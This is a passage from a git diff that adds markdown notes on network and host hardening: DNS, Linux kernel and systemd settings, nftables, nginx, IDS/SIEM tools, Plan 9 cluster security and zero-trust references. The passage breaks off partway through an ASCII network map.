Hardware Recommendation + +Intel N100 mini PC with OPNsense: +- WireGuard at 900+ Mbps +- Under $200 complete +- No separate VPN appliance needed + +Benchmarks: +- https://blog.lopp.net/hunt-best-gigabit-home-network-vpn/ +- https://www.ipfire.org/blog/wireguard-vpn-on-ipfire-benchmarking-the-new-mini-appliance + +## fwknop (Single Packet Authorization) + +Strictly superior to port knocking. Single encrypted, HMAC-authenticated, non-replayable UDP packet authorizes access. + +- Service ports stay closed (default DROP) until SPA packet received +- Invisible to Nmap +- No IP address to attack +- Supports iptables, firewalld, PF, ipfw +- Clients: Linux, macOS, Windows, Android + +For SSH: the single best protection tool available. + +- Site: https://www.cipherdyne.org/fwknop/ +- Tutorial: https://www.cipherdyne.org/fwknop/docs/fwknop-tutorial.html +- GitHub: https://github.com/mrash/fwknop diff --git a/doc/networking/host-hardening/dns.md b/doc/networking/host-hardening/dns.md new file mode 100644 index 0000000000000000000000000000000000000000..0d6727664534be2a422e654677352d0b5e267422 --- /dev/null +++ b/doc/networking/host-hardening/dns.md @@ -0,0 +1,51 @@ +# DNS Security + +## Architecture Stack + +1. **Unbound** recursive resolver: validates DNSSEC, queries root servers directly, no upstream forwarders +2. **AdGuard Home** or **Pi-hole** sinkhole layer in front of Unbound +3. **DNS-over-TLS (DoT)** for any forwarded queries (port 853) +4. **Firewall rule**: block ALL outbound port 53 except from your resolver. NAT redirect rogue DNS to 127.0.0.1:53 + +## DNSSEC with Unbound + +Key config: +``` +auto-trust-anchor-file: "/var/lib/unbound/root.key" # RFC 5011 auto-managed +val-clean-additional: yes # remove unvalidated data +harden-glue: yes # trust glue within delegation only +harden-dnssec-stripped: yes # require DNSSEC for signed zones +``` + +## Additional Hardening + +``` +use-caps-for-id: yes # 0x20 encoding against cache poisoning +ip-ratelimit: 1000 # prevents DNS amplification if exposed +harden-below-nxdomain: yes +harden-referral-path: yes +``` + +## Hardened Unbound Config + +Community-maintained, DoT 1.3 via Cloudflare + CleanBrowsing, DNSSEC, multi-threaded: +https://gist.github.com/timothymiller/79fd2a99fb1a14b82fbf7c72b77a582c + +OPNsense ships with Unbound integrated: +https://docs.opnsense.org/manual/unbound.html + +## References + +- DNSSEC-aware Unbound: https://feeding.cloud.geek.nz/posts/setting-up-your-own-dnssec-aware/ +- Unbound with DoT + DNSSEC: https://blog.cyclemap.link/2020-01-11-unbound/ +- Pi-hole + Unbound + DNSSEC: https://botmonster.com/self-hosting/secure-local-dns-unbound-pihole-privacy/ +- NLnet Labs advisories: https://www.nlnetlabs.nl/projects/unbound/security-advisories/ + +## NSA DNS Guidance + +Three documents covering the full spectrum: +1. Defending Your DNS Infrastructure (DNSSEC) +2. Adopting Encrypted DNS (DoH/DoT) +3. Selecting a Protective DNS Service (PDNS) + +See government-guides/nsa.md for URLs. diff --git a/doc/networking/host-hardening/linux.md b/doc/networking/host-hardening/linux.md new file mode 100644 index 0000000000000000000000000000000000000000..3907a324cf32d77e7d6c0b9f25e52426572f642d --- /dev/null +++ b/doc/networking/host-hardening/linux.md @@ -0,0 +1,105 @@ +# Linux Host Hardening + +## Kernel Hardening (sysctl) + +Config in /etc/sysctl.d/*.conf + +### Network +``` +net.ipv4.tcp_syncookies = 1 # SYN flood protection +net.ipv4.conf.all.accept_redirects = 0 +net.ipv4.conf.all.accept_source_route = 0 +net.ipv4.conf.all.rp_filter = 1 # reverse path filtering (anti-spoofing) +net.ipv4.conf.all.log_martians = 1 +net.ipv4.conf.all.send_redirects = 0 +net.ipv6.conf.all.accept_redirects = 0 +``` + +### Kernel +``` +kernel.randomize_va_space = 2 # full ASLR +kernel.dmesg_restrict = 1 # restrict dmesg +kernel.yama.ptrace_scope = 1 # restrict ptrace +kernel.kptr_restrict = 2 # hide kernel pointers +``` + +References: +- https://www.cyberciti.biz/faq/linux-kernel-etcsysctl-conf-security-hardening/ +- https://madaidans-insecurities.github.io/guides/linux-hardening.html +- https://linux-audit.com/system-hardening/linux-hardening-with-sysctl/ + +## systemd Sandboxing + +Audit exposure: `systemd-analyze security <service>` + +Key directives: +```ini +ProtectSystem=strict # everything read-only except /dev, /proc, /sys +PrivateTmp=yes # isolated /tmp namespace +NoNewPrivileges=true # no privilege escalation +CapabilityBoundingSet= # restrict Linux capabilities +ProtectKernelTunables=yes +ProtectKernelModules=yes +ProtectControlGroups=yes +PrivateDevices=yes +RestrictNamespaces=yes +RestrictSUIDSGID=true +IPAddressAllow= # network access control +``` + +References: +- https://wiki.archlinux.org/title/Systemd/Sandboxing +- https://github.com/alegrey91/systemd-service-hardening +- https://www.ctrl.blog/entry/systemd-service-hardening.html + +## auditd + +Kernel-level syscall, file access, auth auditing. Rules in /etc/audit/audit.rules. + +Best practice repos: +- Neo23x0/auditd (community standard): https://github.com/Neo23x0/auditd +- Rules file: https://github.com/Neo23x0/auditd/blob/master/audit.rules +- CIS/STIG + LOTL detection: https://github.com/steveandreassend/linux_auditd +- Elastic guide: https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +Expect 10-15% CPU overhead with security-centric config. + +## SELinux vs AppArmor + +| Feature | SELinux | AppArmor | +|---------|---------|----------| +| Model | Labels (inode-based) | Path-based | +| Distros | RHEL, CentOS, Fedora | Debian, Ubuntu | +| Depth | Deeper, system-wide | Simpler, application-focused | +| Weakness | Steep learning curve | Hard links bypass paths | + +Both must be in enforcing mode in production. Choose based on distro. + +## File Integrity Monitoring + +### AIDE / Tripwire +Create baseline snapshots of checksums/permissions/timestamps, detect changes. +- Monitor /etc and select config dirs, skip /usr (system updates cause legit changes) +- Combine real-time (auditd) with periodic baseline checks + +References: +- https://dev.to/sebos/aide-file-integrity-monitoring-for-system-security-5hkd +- https://www.redhat.com/en/blog/security-monitoring-tripwire + +## CIS Benchmarks & Lynis + +CIS: Level 1 (most environments) and Level 2 (high-security). Fresh Ubuntu scores 50s-60s; after Level 1 hardening, 70s-80s. + +Lynis: 2000+ config checks, prioritized recommendations. +- https://cisofy.com/lynis/ +- https://linuxvox.com/blog/cis-benchmark-linux/ + +## SSH Hardening + +Core: disable password auth, disable root login, Ed25519 keys, idle timeout, fail2ban. + +2025 updates: sntrup761x25519-sha512 in KexAlgorithms, ED25519 host keys prioritized. + +- Hardening guides: https://www.sshaudit.com/hardening_guides.html +- 2025 sshd_config: https://www.msbiro.net/posts/back-to-basics-sshd-hardening/ +- Advanced features: https://docs.vultr.com/how-to-harden-server-ssh-access-using-advanced-openssh-features diff --git a/doc/networking/host-hardening/nftables.md b/doc/networking/host-hardening/nftables.md new file mode 100644 index 0000000000000000000000000000000000000000..3f8b02889602ddbe788a705c4768059375287ae5 --- /dev/null +++ b/doc/networking/host-hardening/nftables.md @@ -0,0 +1,43 @@ +# nftables + +Replaces iptables. Use for all new Linux deployments. + +## Default Deny Configuration + +``` +table inet filter { + chain input { + type filter hook input priority 0; policy drop; + ct state established,related accept + iif lo accept + # specific allow rules here + } + chain forward { + type filter hook forward priority 0; policy drop; + } + chain output { + type filter hook output priority 0; policy drop; + ct state established,related accept + # explicit egress rules here + } +} +``` + +Egress filtering on output is critical and almost universally neglected. Malware, data exfil, and C2 all depend on unrestricted outbound access. Whitelist only ports/destinations your system actually needs. + +## Key Concepts + +- **Stateful inspection**: ct state established,related +- **Sets and maps**: efficient matching against large lists +- **Deep packet inspection**: Layer 7 content inspection +- **Geo-IP blocking**: via sets with IP ranges +- **Rate limiting**: per-address connection limits +- **Connection tracking**: ct state tracking + +## References + +- Complete guide: https://medium.com/@ihouelecaurcy/the-complete-nftables-guide-modern-linux-firewall-mastery-79fb86894d5c +- Layer 7: https://www.linuxoperatingsystem.net/nftables-layer-7-security/ +- Arch sample script: https://bbs.archlinux.org/viewtopic.php?id=289072 +- Red Hat getting started: https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/configuring_firewalls_and_packet_filters/getting-started-with-nftables +- Default deny: https://access.redhat.com/solutions/7049833 diff --git a/doc/networking/host-hardening/nginx.md b/doc/networking/host-hardening/nginx.md new file mode 100644 index 0000000000000000000000000000000000000000..b5ed25df1da0c0191037ecdb3c97b9009215df12 --- /dev/null +++ b/doc/networking/host-hardening/nginx.md @@ -0,0 +1,50 @@ +# nginx Security Hardening + +## Essential Headers + +```nginx +add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; +add_header Content-Security-Policy "default-src 'self';" always; +add_header X-Frame-Options "DENY" always; +add_header X-Content-Type-Options "nosniff" always; +add_header Referrer-Policy "strict-origin-when-cross-origin" always; +``` + +Do NOT include X-XSS-Protection (deprecated, modern browsers removed XSS auditors, the header itself introduced vulnerabilities). + +## TLS + +```nginx +ssl_protocols TLSv1.2 TLSv1.3; +ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384; +ssl_prefer_server_ciphers off; +ssl_session_timeout 1d; +ssl_session_cache shared:SSL:10m; +ssl_session_tickets off; +``` + +Note: Let's Encrypt shut down OCSP in August 2025. Remove ssl_stapling directives if using LE certs. + +## General + +```nginx +server_tokens off; # hide version +client_body_buffer_size 1k; +client_header_buffer_size 1k; +client_max_body_size 1k; # adjust per use case +large_client_header_buffers 2 1k; +``` + +## Mozilla SSL Config Generator + +https://ssl-config.mozilla.org/ + +Three profiles: Modern (TLS 1.3 only), Intermediate (1.2+1.3), Old (legacy). +Server Side TLS docs: https://wiki.mozilla.org/Security/Server_Side_TLS + +## References + +- Checklist 2025: https://gixy.org/guides/nginx-hardening-checklist +- SecOps guide: https://www.secopsolution.com/blog/nginx-security-hardening-guide +- Best config gist: https://gist.github.com/plentz/6737338 +- Linux Audit: https://linux-audit.com/web/nginx-security-configuration-hardening-guide/ diff --git a/doc/networking/monitoring/ids-ips.md b/doc/networking/monitoring/ids-ips.md new file mode 100644 index 0000000000000000000000000000000000000000..ae9b2a63907340336ac0525830907d7971268586 --- /dev/null +++ b/doc/networking/monitoring/ids-ips.md @@ -0,0 +1,95 @@ +# IDS/IPS and Network Monitoring + +## Suricata (recommended over Snort) + +Multi-threaded, uses all cores. Supports DPI, protocol decoding, file extraction. IDS/IPS/NSM modes. + +Snort is single-threaded, sequential packet checking, bottleneck on modern hardware. + +Deployment: start in IDS mode, tune for a week, review alerts, then enable IPS incrementally. + +Guide: https://homeprivacynetwork.com/blog/featured/deploying-open-source-ids-ips-suricata-snort-zeek-in-a-home-environment/ + +## Zeek (formerly Bro) + +Event-driven network analysis. Multi-process with worker nodes. Produces structured logs (conn.log, dns.log, http.log, tls.log). Custom scripting language for detection. + +Best practices: +- ~200 Mbps per worker (Suricata or Zeek) +- SSDs for log storage, sufficient RAM +- Disable unnecessary logs +- Ship to SIEM or data lake + +References: +- Guide 2025: https://www.onlinehashcrack.com/guides/security-tools/zeek-network-security-monitor-guide-2025.php +- Operationalizing (PDF): https://zeek.org/wp-content/uploads/2025/03/MUC-2025-Operationalizing-Zeek-Deployments.pdf + +## Security Onion + +Bundles Suricata + Zeek + Elastic Stack. Free open-source SIEM/IDS. + +Hardware requirements: +- CPU: ~200 Mbps per worker. 1 Gbps = 10 cores minimum +- RAM: 16 GB min, 64 GB+ recommended with full PCAP +- Storage: 1 TB+ for PCAP retention, SSDs for ES indices +- NICs: minimum 2 (management + sniffing via TAP/SPAN) + +Docs: https://docs.securityonion.net/en/2.4/introduction.html + +## Arkime (Full Packet Capture) + +Open-source large-scale PCAP, indexing, and database system. +- Capture (C app): monitors interfaces, writes PCAP, sends metadata to OpenSearch/ES +- Viewer (Node.js): web interface per capture machine (port 8005) +- Config: /opt/arkime/etc/config.ini + +- Site: https://arkime.com/ +- GitHub: https://github.com/arkime/arkime + +## RITA (Beacon Detection) + +Framework for detecting C2 via network traffic analysis. Works on Zeek logs. + +Detects: +- Periodic heartbeat patterns (beaconing) +- DNS tunneling +- Long persistent connections +- Large outbound transfers (data exfil) +- Known malicious IPs + +- GitHub: https://github.com/activecm/rita +- CISA: https://www.cisa.gov/resources-tools/services/rita +- Active CM: https://www.activecountermeasures.com/free-tools/rita/ + +## JA3/JA4 TLS Fingerprinting + +### JA3 +Hashes TLS ClientHello fields. MD5 produces 32-char fingerprint. Now unstable because modern browsers randomize extension order. + +### JA4 (next-gen) +Sorts extensions before hashing. Survives extension permutation. Designed by FoxIO. + +Use: detect inconsistencies (User-Agent says Chrome but TLS fingerprint matches Python/OpenSSL). + +- Salesforce JA3: https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967/ +- Cloudflare docs: https://developers.cloudflare.com/bots/additional-configurations/ja3-ja4-fingerprint/ + +## DNS Analytics for C2 Detection + +- DGA detection: high-entropy domains, anomalous query frequency +- DNS tunneling: encoding in TXT/CNAME, unusual record types, high entropy labels +- Beaconing: periodic queries to external domains +- Passive DNS: historical record tracking + +- FIRST.org beacons: https://www.first.org/global/sigs/dns/stakeholder-advice/detection/dns-beacons-c2-communication +- Passive DNS for C2: https://cybersecuritynews.com/how-to-use-passive-dns-to-trace-hackers-command-and-control-infrastructure/ + +## Flow Analysis (NetFlow, sFlow, IPFIX) + +- NetFlow: Cisco, maintains flow cache +- sFlow: sampled packets, near real-time, no cache, more scalable +- IPFIX: IETF standard, vendor-neutral, flexible templates + +Tools: ntopng, nfdump/nfsen, GoFlow2, Elastiflow + +Reference: https://networkthreatdetection.com/network-flow-analysis-netflow-sflow-ipfix/ diff --git a/doc/networking/monitoring/siem.md b/doc/networking/monitoring/siem.md new file mode 100644 index 0000000000000000000000000000000000000000..1b32aa7a12bd4b00724756a018ec44f3c9dc8160 --- /dev/null +++ b/doc/networking/monitoring/siem.md @@ -0,0 +1,45 @@ +# SIEM and Log Management + +## Wazuh (Open-Source SIEM/XDR) + +Three components: +- Wazuh Indexer (OpenSearch-based) +- Wazuh Server (decoder/rule engine) +- Wazuh Dashboard (web UI) + +Capabilities: log analytics, intrusion detection, FIM, configuration assessment, vulnerability detection, compliance. + +Collects via agents (logs, system activity, file changes) and agentless (Syslog/SSH/APIs). + +- Platform: https://wazuh.com/platform/siem/ +- Threat hunting: https://documentation.wazuh.com/current/getting-started/use-cases/threat-hunting.html +- Guide: https://medium.com/@sadashivpole/wazuh-complete-guide-to-hids-siem-and-enterprise-threat-detection-120d376bfbc0 +- Deploy 2025: https://www.onlinehashcrack.com/guides/tutorials/howto-deploy-wazuh-siem-2025-monitor-hosts.php + +## Volatility Memory Forensics + +V3 replaced V2. Supports Windows, Linux, macOS memory dumps. Detects fileless malware, kernel rootkits, process injection, in-memory C2. + +Workflow: process triage (pstree, psscan) -> network triage (netscan) -> suspicious process analysis (dlllist, malfind) -> command history (cmdline, linux.bash) + +- Guide: https://www.cyberforensicacademy.com/blog/volatility-framework-complete-memory-forensics-guide +- Cheat sheet: https://medium.com/@0x0Aleem/practical-memory-forensics-with-volatility-2-3-windows-and-linux-cheat-sheet-ef5eee325863 + +## Container Security Scanning + +### Trivy +Comprehensive: vulnerabilities, misconfigs, secrets, SBOM generation. Broader scope, slightly slower. + +### Grype +Focused vuln scanner, 30-40% faster than Trivy. Pairs with Syft for SBOM. + +Both produce false positives/negatives. Do not treat as authoritative alone. + +- Grype: https://github.com/anchore/grype +- Comparison: https://www.stakater.com/post/open-source-container-security-a-deep-dive-into-trivy-clair-and-grype + +## Supply Chain + +- SLSA Framework: four levels of build integrity assurance +- Reproducible builds: https://reproducible-builds.org/ +- SBOM to SLSA guide: https://petronellatech.com/blog/from-sbom-to-slsa-securing-your-software-supply-chain/ diff --git a/doc/networking/network-hardening-guide.md b/doc/networking/network-hardening-guide.md new file mode 100644 index 0000000000000000000000000000000000000000..24bf24e6419b5d0284252a3cbf6cc47488e050c9 --- /dev/null +++ b/doc/networking/network-hardening-guide.md @@ -0,0 +1,29 @@ +# Networking & Digital Security + +NSA/Pentagon-grade network security resources, hardening guides, and implementation references. + +## Structure + +``` +government-guides/ NSA, DISA, NIST, CISA publications and where to find them +plan9-security/ Plan 9 cluster hardening, factotum, dp9ik, VLAN isolation +hardware/ Firewalls, switches, VPN appliances, IDS hardware, TAPs +zero-trust/ ZTA frameworks (NIST, BeyondCorp, DoD), Tailscale overlay +host-hardening/ Linux kernel, systemd, auditd, nftables, SSH, sysctl +monitoring/ IDS/IPS, SIEM, packet capture, beacon detection, DNS analytics +configs/ Ready-to-use configuration templates and rulesets +``` + +## Priority Reading Order + +1. NSA Network Infrastructure Security Guide +2. NSA Top Ten Cybersecurity Mitigation Strategies +3. NSA/CISA Top Ten Misconfigurations +4. NIST SP 800-207 (Zero Trust Architecture) +5. CISA Zero Trust Maturity Model v2 +6. NSA Zero Trust: Network and Environment Pillar +7. NSA Configuring IPsec VPNs +8. NSA Eliminating Obsolete TLS +9. NSA DNS Security (all three docs) +10. DISA STIGs for your devices +11. CIS Benchmarks for anything STIGs don't cover diff --git a/doc/networking/plan9-security/9front.md b/doc/networking/plan9-security/9front.md new file mode 100644 index 0000000000000000000000000000000000000000..3a0db04d8e4baec443c895fcd9803a957d552d16 --- /dev/null +++ b/doc/networking/plan9-security/9front.md @@ -0,0 +1,35 @@ +# 9front Security + +## dp9ik Authentication Protocol + +Replaced p9sk1 (DES-based). Old CPU listeners disabled by default. + +Configuration: +- `auth/wrkey` prompts for authid, authdom, secstore key, password +- Keys loaded: `echo 'key proto=dp9ik dom=YOURDOMAIN user=USER !password=PASS' >/mnt/factotum/ctl` +- CPU listener: `aux/listen1 -t 'tcp!*!rcpu' /rc/bin/service/tcp17019` + +## TLS-Based Connections + +Modern 9front uses TLS for cpu connections via rcpu (replacing SSL-based ncpu). 9front drawterm supports dp9ik and TLS-based rcpu. + +## gefs Filesystem + +Copy-on-write with atomic commits. Crash-safe (at most 5 seconds of data loss). Block pointers include hashes for corruption detection. Still maturing; cwfs remains the proven choice for production. + +## CVE-2024-8158 + +lib9p authentication bypass. Attacker with valid credentials could impersonate any filesystem user because lib9p didn't verify uname in Tauth/Tattach matched client UID. Affected hjfs. cwfs and gefs not affected. Fixed in commit 9645ae07eb66a59015e3e118d0024790c37400da. + +## Key References + +| Title | URL | +|-------|-----| +| 9front FQA 7 (System Management) | https://fqa.9front.org/fqa7.html | +| 9front FQA 8 (Using 9front) | https://fqa.9front.org/fqa8.html | +| 9front FQA 6 (Networking) | http://fqa.9front.org/fqa6.html | +| Using p9sk1 in modern 9front | https://seh.dev/p9sk1/ | +| 9front factotum man page | https://man.9front.org/4/factotum | +| 9front drawterm | https://drawterm.9front.org/ | +| gefs design | https://orib.dev/gefs.html | +| CVE-2024-8158 | https://nvd.nist.gov/vuln/detail/CVE-2024-8158 | diff --git a/doc/networking/plan9-security/cluster-hardening.md b/doc/networking/plan9-security/cluster-hardening.md new file mode 100644 index 0000000000000000000000000000000000000000..bbbce826ed18133097674dc2e9b379b19e55ea1e --- /dev/null +++ b/doc/networking/plan9-security/cluster-hardening.md @@ -0,0 +1,104 @@ +# Plan 9 Cluster Hardening + +## Auth Server Isolation + +The single most important step. From the Plan 9 wiki: + +> "It is often a good idea to make the auth server an independent standalone box which runs nothing at all except auth services and is hardened and secured as much as possible." + +> "In an institution with semi-trusted users such as a university, the auth server should be in a physically separate and secure location." + +The auth server manages keyfs (encrypted user accounts) and authsrv (network auth broker). If compromised, the entire authentication domain falls. + +## Role Separation + +Dedicate machines to roles: +1. **Auth server**: auth services only, no user logins, physical security, minimal listeners +2. **File server**: cwfs (or gefs), authenticated access only +3. **CPU servers**: computation, run as untrusted users via capability system +4. **Terminals**: user-facing, PXE boot from controlled DHCP + +## /lib/ndb Hardening + +- Bind each machine to its ethernet address +- Define auth server explicitly per domain +- Use /lib/ndb/common for standard port definitions only +- Lock DHCP/PXE to known MAC addresses + +## Listen Services + +- Disable all unnecessary listeners +- Use aux/listen1 with explicit bind addresses, not tcp!*! wildcards +- Old (pre-dp9ik) CPU listeners are disabled by default in 9front; verify +- Review /rc/bin/service/ for enabled services + +## Network + +- Multiple IP stacks (up to 16): /net (stack 0) and /net.alt (stack 1+) +- Use separate stacks for different security zones +- snoopy for packet monitoring (equivalent to tcpdump) + +## VLAN Isolation (Mixed Network) + +When running Plan 9 on the same LAN as Linux/STARGATE: +- Put Plan 9 cluster on its own VLAN +- Allow only TCP 17019 (rcpu) and TCP 567 (auth) from workstation +- Block Plan 9 from reaching other LAN services +- Tunnel drawterm through Tailscale/WireGuard for remote access +- Never expose Plan 9 ports to the internet + +## Bridging to Linux + +Linux supports 9P via v9fs (CONFIG_9P_FS). Use TLS-wrapped connections. Kernel module supports access=user for per-user auth. + +## Drawterm + +- Use ONLY the 9front fork (dp9ik + TLS) +- Verify TLS thumbprints on first connection +- Don't run from untrusted machines + +## Hardening Checklist + +### Auth Server +- [ ] Dedicated machine, auth services only +- [ ] Strong password (8+ chars minimum) +- [ ] secstored running for persistent key storage +- [ ] Physical access locked +- [ ] keyfs database backed up to encrypted offline storage +- [ ] dp9ik keys only, remove any p9sk1 keys + +### File Server +- [ ] cwfs for production +- [ ] Patched against CVE-2024-8158 +- [ ] Minimal user accounts + +### CPU Servers +- [ ] Only tcp17019 (rcpu with dp9ik+TLS) listening +- [ ] Unused service scripts in /rc/bin/service/ disabled +- [ ] All services run unprivileged via capability system + +### Network +- [ ] Dedicated VLAN for Plan 9 cluster +- [ ] Firewall: only 17019/567 from workstation +- [ ] Block access to other LAN services +- [ ] Remote access via Tailscale/WireGuard only +- [ ] Machines bound to MAC addresses in /lib/ndb/local +- [ ] Periodic snoopy audits + +## Key References + +| Title | URL | +|-------|-----| +| Expanding your Grid | https://9p.io/wiki/plan9/Expanding_your_Grid/index.html | +| Standalone CPU Server | https://9p.io/wiki/plan9/Configuring_a_Standalone_CPU_Server/index.html | +| CPU/Auth Server Howto | http://mirror.9grid.fr/mirror.9grid.fr/plan9-cpu-auth-server-howto.html | +| Plan 9 Remote CPU | https://royniang.com/cpu_auth.html | +| Cross Domain Auth | https://plan9.io/wiki/plan9/cross_domain_authentication/index.html | +| Network Config | https://9p.io/wiki/plan9/network_configuration/index.html | +| snoopy man page | http://man.cat-v.org/plan_9/8/snoopy | +| ip(3) multiple stacks | https://9p.io/magic/man2html/3/ip | +| 9front cpu-setup | http://wiki.9front.org/cpu-setup | +| aescbc key storage | https://9p.io/wiki/plan9/using_aescbc_to_store_factotum_keys/index.html | +| v9fs Linux | https://docs.kernel.org/filesystems/9p.html | +| 9P protocol | https://ericvh.github.io/9p-rfc/rfc9p2000.html | +| Plan 9 Tunneling | https://9lab.org/plan9/tunnel/ | diff --git a/doc/networking/plan9-security/security-model.md b/doc/networking/plan9-security/security-model.md new file mode 100644 index 0000000000000000000000000000000000000000..49f3346fad97724685de499b6c846c5169397b0b --- /dev/null +++ b/doc/networking/plan9-security/security-model.md @@ -0,0 +1,42 @@ +# Plan 9 Security Model + +Fundamentally different from Unix. Isolation is built into the core abstractions. + +## Per-Process Namespaces + +Every process has its own private filesystem view. The kernel maintains separate mount tables per process. This is the default, not an add-on like Linux namespaces or chroot. A compromised process sees only what its namespace exposes. No global /etc/passwd, no shared /tmp. + +## Factotum + +Per-user auth daemon running as file server at /mnt/factotum. Holds all crypto keys in volatile memory, negotiates auth protocols on behalf of applications. No application ever touches a secret key. + +- Keys stored as UTF-8 attribute-value pairs: `proto=dp9ik dom=9front user=glenda !password=secret` +- Secret attributes (prefixed with !) never leave factotum's address space +- Kernel provides `private` (blocks /proc memory reads) and `noswap` (prevents paging) protections +- `confirm` attribute forces per-use graphical approval +- Pluggable protocol state machines + +## Secstore + +Network service for encrypted key storage. Uses PAK (Password-Authenticated Key Exchange) over DH. Resists passive eavesdropping, active MITM, and dictionary attacks. Files encrypted with AES-CBC. On login, factotum fetches keys from secstore automatically. Supports RADIUS for 2FA. + +## Capability System + +Temporary, single-use, machine-local credentials: +1. Factotum creates: `userid1@userid2@random-string` +2. HMAC-SHA1 hash written to write-only /dev/caphash (host owner only) +3. Original string passed to target process, which writes to /dev/capuse +4. Kernel verifies hash, changes process UID, destroys capability + +Only factotum creates capabilities. All network servers run unprivileged. Compromised server = limited permissions only. + +## Key References + +| Title | URL | +|-------|-----| +| Security in Plan 9 (official) | https://9p.io/sys/doc/auth.html | +| Security in Plan 9 (USENIX PDF) | https://css.csail.mit.edu/6.858/2013/readings/plan9auth.pdf | +| Security in Plan 9 (USENIX HTML) | https://www.usenix.org/legacy/event/sec02/full_papers/cox/cox_html/ | +| Factotum (Wikipedia) | https://en.wikipedia.org/wiki/Factotum_(software) | +| The Use of Name Spaces in Plan 9 | https://9p.io/sys/doc/names.html | +| Cat-v Security in Plan 9 | http://doc.cat-v.org/plan_9/4th_edition/papers/auth | diff --git a/doc/networking/plan9-security/threat-model.md b/doc/networking/plan9-security/threat-model.md new file mode 100644 index 0000000000000000000000000000000000000000..7b0519d88e5f49df80456733b07383bf3b5444e5 --- /dev/null +++ b/doc/networking/plan9-security/threat-model.md @@ -0,0 +1,40 @@ +# Plan 9 Threat Model + +## What Plan 9 Handles Well + +- **Protocol-level attacks**: centralized in factotum, easy to update +- **Privilege escalation via compromised services**: capability system limits damage +- **Key distribution**: secstore + factotum, keys never leave volatile memory +- **Passive eavesdropping**: TLS on all modern connections +- **Process isolation**: per-process namespaces by default + +## What Plan 9 Does NOT Handle + +Must address at network/physical layer: + +- **Physical machine compromise**: cold boot attacks extract volatile keys +- **Host owner debugging**: can debug any process via /proc +- **TCP reset attacks**: accepted as tolerable given randomized sequence numbers +- **No native packet-filtering firewall**: use external firewall/VLAN isolation +- **No intrusion detection**: use snoopy manually, or external IDS on VLAN boundary +- **DDoS**: handle at network perimeter + +## Design Philosophy + +Plan 9 does not rely on firewalls: + +> "Firewalls require special code for every service penetrating the wall; the Plan 9 approach permits authentication to be done in a single place -- 9P -- for all services." + +However, on a mixed network with Linux, add network-level isolation anyway. + +## Known CVEs + +Very few on record. Small, auditable codebase by expert programmers. +- CVE-2024-8158: lib9p auth bypass in hjfs (fixed in 9front) +- Full history: https://www.cvedetails.com/vulnerability-list/vendor_id-6177/product_id-10464/Bell-Labs-Plan-9.html + +## Forks + +- **9front**: only actively maintained fork with ongoing security work. Use this. +- **Harvey OS**: development stalled 2023, succeeded by "r9" project +- **Jehanne**: fork of Harvey with 9k kernel + 9front userland, no specific security improvements diff --git a/doc/networking/zero-trust/overview.md b/doc/networking/zero-trust/overview.md new file mode 100644 index 0000000000000000000000000000000000000000..59e2f13aa03ae6c78af18f73365f11c6770d14b8 --- /dev/null +++ b/doc/networking/zero-trust/overview.md @@ -0,0 +1,58 @@ +# Zero Trust Architecture + +## NIST SP 800-207 + +The canonical document. Three core components: +- **Policy Engine (PE)**: makes access decisions +- **Policy Administrator (PA)**: translates decisions into action +- **Policy Enforcement Point (PEP)**: enforces decisions + +Seven tenets. Three deployment models: enhanced identity governance, micro-segmentation, SDP. + +- Page: https://csrc.nist.gov/pubs/sp/800/207/final +- PDF: https://nvlpubs.nist.gov/nistpubs/specialpublications/NIST.SP.800-207.pdf +- Implementation project: https://pages.nist.gov/zero-trust-architecture/ + +## DoD/DISA Zero Trust Reference Architecture v2.0 + +152 zero trust activities across seven pillars. Thunderdome hit 152/152 by May 2025. All defense components must achieve target ZTA by FY2027. + +- Strategy PDF: https://dodcio.defense.gov/Portals/0/Documents/Library/DoD-ZTStrategy.pdf +- Architecture v2.0: https://www.dmi-ida.org/knowledge-base-detail/Zero-Trust-Reference-Architecture-v2.0 +- DTM 25-003: https://www.esd.whs.mil/Portals/54/Documents/DD/issuances/dtm/DTM%2025-003.PDF +- CSA overview: https://cloudsecurityalliance.org/resources/dod-zero-trust-reference-architecture + +## CISA Zero Trust Maturity Model v2.0 + +Five pillars: Identity, Devices, Networks, Apps/Workloads, Data +Three cross-cutting: Visibility/Analytics, Automation/Orchestration, Governance +Four stages: Traditional, Initial, Advanced, Optimal + +- URL: https://www.cisa.gov/zero-trust-maturity-model + +## Google BeyondCorp + +Core architecture: Device Inventory DB, Device Identity, SSO, Access Control Engine, Access Proxy, Trust Inferrer. No VPN required. All internal apps through access proxy. + +- Overview: https://cloud.google.com/beyondcorp +- Paper: https://research.google.com/pubs/archive/44860.pdf +- USENIX: https://www.usenix.org/publications/loginonline/beyondcorp-and-long-tail-zero-trust + +## Tailscale as ZT Overlay + +WireGuard-based mesh VPN through NAT/firewalls. Zero-config encrypted networking. +- Homelab use: https://tailscale.com/use-cases/homelab +- ZT definition: https://tailscale.com/kb/1123/zero-trust +- Manual: https://dev.to/chaithuchowdhary/the-zero-trust-homelab-manual-macvlan-private-pki-and-tailscale-46gj + +Headscale: open-source self-hosted control server alternative. + +## Home Lab ZT Implementation + +Practical approach: +1. Tailscale/WireGuard mesh for all inter-host communication +2. OPNsense firewall with default-deny + VLAN segmentation +3. mTLS for service-to-service communication +4. fwknop SPA for any exposed services +5. Certificate-based device identity (step-ca or cfssl) +6. Centralized logging and monitoring diff --git a/doc/networks/map.md b/doc/networks/map.md new file mode 100644 index 0000000000000000000000000000000000000000..53d685efbe611574f4805e7bd46335b8352e1b36 --- /dev/null +++ b/doc/networks/map.md @@ -0,0 +1,157 @@ +# Network Map + +## Physical Topology + +``` + ┌─────────────┐ + │ INTERNET │ + └──────┬──────┘ + │ + ┌──────┴──────┐ + │ MODEM │ + │ (bridge mode)│ + └──────┬──────┘ + │ WAN + │ + ┌──────────────┴──────────────┐ + │ CISCO ASA 5506/5508-X │ + │ │ + │ WAN ─── NAT ─── FirePOWER │ + │ │ │ + │ ┌─────┴─────┐ │ + │ │ ROUTING │ │ + │ │ + DHCP │ │ + │ └─┬───┬───┬─┘ │ + │ │ │ │ │ + │ V1 V20 V30 │ + └───────┬───┴───┴──────────────┘ + │ + │ trunk (all VLANs tagged) + │ + ┌─────────────┴─────────────────┐ 